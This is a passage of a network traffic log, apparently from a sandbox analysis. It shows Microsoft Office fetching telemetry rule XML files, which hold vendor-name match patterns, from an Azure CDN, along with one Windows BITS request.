T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:44 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:44 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: c2180679-501e-008f-16bc-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132644Z-178bfbc474bh5zbqhC1NYCkdug00000001h0000000003u16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:45 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:45 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:45 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132645Z-178bfbc474bbbqrhhC1NYCvw7400000001t0000000000t8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:45 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:45 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:45 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132645Z-1777c6cb754wcxkwhC1TEB3c6w0000000b50000000002k7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:45 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:45 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:45 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1c81f4ad-001e-005a-6fbf-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132645Z-1777c6cb754j47wfhC1TEB5wrw000000070g0000000077fv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:45 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:45 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:45 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c4abe473-d01e-008e-4d67-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132645Z-178bfbc474bh5zbqhC1NYCkdug00000001b000000000n2tg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:45 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:46 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:47 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 24f33e75-301e-006e-0fb5-3bf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132647Z-1777c6cb754gc8g6hC1TEB966c0000000b500000000094mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:47 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:47 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:47 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 38a2a592-901e-008f-4db7-3b67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132647Z-r1d97b99577ckpmjhC1TEBrzs00000000ah0000000003cw6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:47 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:47 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:47 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 5848700c-201e-0033-129b-3bb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132647Z-r1d97b995774zjnrhC1TEBv1ww0000000adg000000005enr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:47 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:47 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132647Z-r1d97b9957744xz5hC1TEB5bf80000000abg000000004q93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:47 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:48 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132648Z-1777c6cb754gvvgfhC1TEBz4rg0000000b6000000000c7pt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:48 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49783	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:48 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 13:26:49 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=184723 Date: Thu, 21 Nov 2024 13:26:48 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:49 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132649Z-178bfbc474bp8mkvhC1NYCzqnn00000001a000000000ffc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:49 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 83e3c789-401e-00a3-649b-3b8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132649Z-r1d97b99577gg97qhC1TEBcrf40000000aag000000002z31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
